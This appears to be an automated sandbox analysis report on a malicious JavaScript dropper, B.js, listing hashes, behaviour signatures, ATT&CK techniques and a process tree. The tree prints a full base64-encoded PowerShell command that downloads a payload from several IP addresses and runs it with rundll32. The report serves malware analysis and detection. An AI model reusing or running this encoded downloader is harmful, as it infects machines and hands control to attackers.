c6b9511a517fe7ed9abbe0b6ddc11623a75aece9481043ed0720670793031fd6

Analysis

max time kernel
135s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2023, 10:34

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General

Target

B.js
Size

57KB
MD5

52d96ebabe2bc08cb504f4b7b29b5f65
SHA1

a609c8c0fbd4867421d65fa79834c3527cbb7690
SHA256

ef023b0a3aa55f424298cb1f64a496392c61c02b8167b04feedc7cc31d123f2b
SHA512

046cbcc8c80e2688432eaf1cf957388818f828642b6328fea5553adac4a25813ec875678c5c501577dc7c7288c9adbffd71195995aab18d51a76e9cff7b30c30
SSDEEP

768:VyMNhRhlTosj7PJMenmwELqOttPki0P9B9VosNMaEiGHGr6kQ7Ig1KzHyyLdSmKl:fUsZnwGGkQ7A0xherXT4EANnOvwr

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	1936	powershell.exe
10	1936	powershell.exe
20	1936	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1936	powershell.exe
1936	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1936	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3240 wrote to memory of 2360	3240	wscript.exe	82
PID 3240 wrote to memory of 2360	3240	wscript.exe	82
PID 2360 wrote to memory of 1936	2360	wscript.exe	83
PID 2360 wrote to memory of 1936	2360	wscript.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\B.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3240
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\B.js" UnpiquedUnpreventative WiregrassUncrisp inthralls indiscussible
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JAB1AG4AZABlAHIAcABpAHQAYwBoAEUAeABoAGkAYgBpAHQAaQBvAG4AaQB6AGUAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADMANAAuADEAMQA5AC4ANwA5AC8AVQBYAFkALwBxAHQAUgBHAGgAaQBVAHAANgBlADYALABoAHQAdABwADoALwAvADEAMAA0AC4AMgAzADQALgAxADEAOAAuADEANQAzAC8AZQBoAHQAdABSADMALwBBAFcAawA0AHYASAAsAGgAdAB0AHAAOgAvAC8AMQA3ADIALgA4ADYALgAxADIAMwAuADEAMAAzAC8ANQBNAEcAeQBWAC8ANwB1ADcAZQBrADYARgA2ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGMAaABvAGsAZQBiAGUAcgByAHkAUQB1AGUAYQBjAGgAaQBlAHIAIABpAG4AIAAkAHUAbgBkAGUAcgBwAGkAdABjAGgARQB4AGgAaQBiAGkAdABpAG8AbgBpAHoAZQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAG8AawBlAGIAZQByAHIAeQBRAHUAZQBhAGMAaABpAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANQAwADAAMAAwACkAIAB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAUQBBAFIAUQBCAE4AQQBGAEEAQQBYAEEAQgBDAEEARwBrAEEAYwB3AEIAaABBAEcAYwBBAGMAZwBCAGwAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAYwBBAEIAcwBBAEcARQBBAFkAdwBCAGwAQQBIAEkAQQBVAEEAQgBvAEEASABrAEEAYgBBAEIAcwBBAEcAOABBAGMAQQBCAHYAQQBHAFEAQQBiAHcAQgAxAEEASABNAEEATABBAEIAVQBBAEcAawBBAGIAUQBCAGwAQQBEAHMAQQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nk3kmzat.edd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1936-139-0x000002207DFB0000-0x000002207DFD2000-memory.dmp

Filesize
136KB

Download
memory/1936-143-0x00000220183E0000-0x00000220183F0000-memory.dmp

Filesize
64KB

Download
memory/1936-144-0x00000220183E0000-0x00000220183F0000-memory.dmp

Filesize
64KB

Download